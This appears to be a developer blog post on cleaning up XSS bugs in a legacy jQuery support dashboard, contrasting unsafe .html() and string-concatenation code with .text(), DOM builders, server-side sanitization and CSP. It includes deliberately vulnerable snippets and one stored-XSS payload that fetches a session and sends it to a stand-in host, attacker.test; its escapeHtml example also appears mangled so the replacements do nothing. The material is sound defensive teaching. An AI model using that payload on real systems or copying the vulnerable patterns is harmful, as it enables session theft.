I’ve worked on enough legacy jQuery codebases to know how XSS sneaks in: not through one giant mistake, but through dozens of “harmless” shortcuts.
A team I helped had a customer support dashboard built over several years. Classic jQuery app. Server-rendered shell, lots of AJAX fragments, user comments, admin notes, profile fields, search terms reflected back into the UI. Everything felt normal until a security review found stored and reflected XSS in multiple places.
The app wasn’t doing anything exotic. That was the problem. Most jQuery XSS bugs come from ordinary code: .html(), string concatenation, template snippets, and trusting server responses too much.
Here’s what that cleanup looked like in practice.
The setup
The dashboard had features like:
- ticket comments
- customer display names
- internal admin notes
- search result highlighting
- toast messages built from query params
- dynamic modal content loaded over AJAX
The original code mixed trusted and untrusted data constantly:
$.get('/api/tickets/842', function (ticket) {
$('#customer-name').html(ticket.customerName);
$('#ticket-comments').append(
'<li class="comment">' +
'<strong>' + ticket.author + '</strong>' +
'<p>' + ticket.comment + '</p>' +
'</li>'
);
});
If ticket.customerName, ticket.author, or ticket.comment contained HTML, the browser parsed it. That’s game over if the content is attacker-controlled.
A payload like this in a stored comment would execute for every agent viewing the ticket:
<img src=x onerror="fetch('/api/session',{credentials:'include'})
.then(r=>r.text())
.then(t=>location='https://attacker.test/steal?d='+encodeURIComponent(t))">
That’s the usual XSS story: one malicious field, one unsafe sink, one compromised account.
Before: the patterns that caused the mess
1. Using .html() for plain text
This one was everywhere:
$('#welcome').html('Welcome, ' + user.displayName);
If displayName is Alice <img src=x onerror=alert(1)>, the browser doesn’t see a name. It sees markup.
2. Building markup with string concatenation
Support comments were rendered like this:
function renderComment(comment) {
return (
'<div class="comment">' +
'<div class="meta">' + comment.author + '</div>' +
'<div class="body">' + comment.body + '</div>' +
'</div>'
);
}
$('#comments').append(renderComment(apiResponse.comment));
This is one of those patterns people defend because “the API is internal.” Internal APIs do not magically produce trusted HTML.
3. Reflecting search terms back into the DOM
The app showed the active search query:
var query = new URLSearchParams(location.search).get('q');
$('#search-label').html('Results for: ' + query);
That turned a search URL into a reflected XSS vector.
4. Blindly trusting HTML fragments from the server
There was also this:
$('#details-modal .content').load('/tickets/details/' + ticketId);
And in another place:
$.get('/api/notifications/latest', function (html) {
$('#notifications').html(html);
});
If the server returns raw HTML, you’ve shifted the entire trust boundary. Sometimes that’s valid, but only when the HTML is intentionally generated, tightly controlled, and sanitized. In this app, it wasn’t.
After: safer patterns that actually hold up
The fix wasn’t “sanitize everything on the client and hope.” We changed both the rendering patterns and the assumptions.
1. Prefer .text() over .html()
If you mean text, use text.
Before
$('#welcome').html('Welcome, ' + user.displayName);
After
$('#welcome').text('Welcome, ' + user.displayName);
That single change removes the browser’s HTML parsing from the equation.
Same for labels, badges, toast messages, status text, button captions, and basically every UI string.
2. Build DOM nodes, don’t assemble HTML strings
For comments, we replaced concatenation with explicit node creation.
Before
function renderComment(comment) {
return (
'<div class="comment">' +
'<div class="meta">' + comment.author + '</div>' +
'<div class="body">' + comment.body + '</div>' +
'</div>'
);
}
$('#comments').append(renderComment(apiResponse.comment));
After
function appendComment(comment) {
var $comment = $('<div>', { class: 'comment' });
var $meta = $('<div>', { class: 'meta' }).text(comment.author);
var $body = $('<div>', { class: 'body' }).text(comment.body);
$comment.append($meta, $body);
$('#comments').append($comment);
}
appendComment(apiResponse.comment);
This is the safest default in jQuery apps. If content should be treated as content, make it text nodes.
3. If you must allow limited HTML, sanitize it first
Sometimes plain text isn’t enough. The dashboard had internal notes with basic formatting: <b>, <i>, <ul>, <br>.
That’s where teams usually make the worst decision: “we’ll just allow some tags with regex.” No. HTML is not a regex problem.
We moved sanitization to the server so every client got the same safe output. Then the client only rendered sanitized HTML.
Server output contract
{
"noteHtml": "<p><b>Escalated</b> to billing team.</p>"
}
Client rendering
$('#admin-note').html(response.noteHtml);
That’s acceptable only if noteHtml is produced by a trusted sanitization pipeline and not raw user input. If you can avoid HTML entirely, avoid it. If you can’t, sanitize before it reaches the sink.
4. Treat query params as hostile input
Reflected XSS bugs are embarrassing because they’re so easy to prevent.
Before
var query = new URLSearchParams(location.search).get('q');
$('#search-label').html('Results for: ' + query);
After
var query = new URLSearchParams(location.search).get('q') || '';
$('#search-label').text('Results for: ' + query);
That one-line switch from .html() to .text() kills the issue.
5. Stop injecting server HTML by default
The modal system was changed to fetch JSON, not HTML fragments.
Before
$('#details-modal .content').load('/tickets/details/' + ticketId);
After
$.getJSON('/api/tickets/' + ticketId, function (ticket) {
$('#details-modal .title').text(ticket.subject);
$('#details-modal .customer').text(ticket.customerName);
$('#details-modal .description').text(ticket.description);
});
This is cleaner architecturally too. JSON data in, DOM nodes out. Fewer hidden parser edges, fewer surprises.
One bug that looked safe but wasn’t
A developer had tried to “escape” comment bodies manually:
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>');
}
$('#comments').append('<p>' + escapeHtml(comment.body) + '</p>');
Better than raw injection, but still fragile. People forget quotes, attribute contexts, URLs, SVG, nested templates, or later refactor the wrapper string into something more dangerous.
The safer replacement was simpler:
$('#comments').append($('<p>').text(comment.body));
That’s a recurring theme with XSS prevention: the secure code is often less clever.
Defense in depth: CSP caught mistakes we missed
Even after cleaning up the rendering code, I wanted a backstop. Legacy jQuery apps usually have enough old code lying around that one unsafe sink can creep back in during the next sprint.
We added a Content Security Policy that blocked inline script execution and restricted script sources.
A starting point looked like this:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
That policy won’t fix XSS by itself, but it makes exploitation much harder. If someone injects <script>alert(1)</script> or an inline event handler like onerror=..., CSP can block it depending on your setup.
For implementation details, https://csp-guide.com is useful, and the canonical reference is the official CSP documentation from browser vendors and standards docs.
One gotcha: old jQuery apps often rely on inline scripts and inline event handlers. You’ll need to remove those first or move to nonce/hash-based patterns.
The rules we ended up enforcing
After the incident, the team adopted a few hard rules:
- Use
.text()by default. - Never pass user-controlled data into
.html(). - Do not build HTML strings with untrusted data.
- Prefer JSON APIs over HTML fragment responses.
- If HTML is required, sanitize on the server and document the trust contract.
- Back it up with CSP.
- Review jQuery sinks specifically:
.html(),.append(),.prepend(),.before(),.after(),.load(), and any constructor call like$(userInput).
That last one matters. This is dangerous too:
var html = response.userSuppliedMarkup;
$(html).appendTo('#target');
Or worse:
$(location.hash.slice(1)).appendTo('#target');
If untrusted input reaches the jQuery HTML parser, you’ve opened the same door.
What changed after the fix
The app didn’t become “modern.” It was still jQuery. But it became predictable.
Before, every UI feature had an invisible question attached to it: “Are we rendering data or executing it?”
After the cleanup, the answer was obvious from the code:
.text()means data- DOM builders mean structured rendering
.html()means reviewed, sanitized HTML only
That clarity matters more than any single utility function.
If you’re maintaining an old jQuery application, don’t waste time hunting only for <script> payloads. Look for unsafe sinks and rendering habits. Search your codebase for:
.html(
.append(
.prepend(
.before(
.after(
.load(
$(
Then ask one blunt question at each call site: can attacker-controlled data reach this?
That’s how we found the real bugs, and that’s how we fixed them without rewriting the entire app.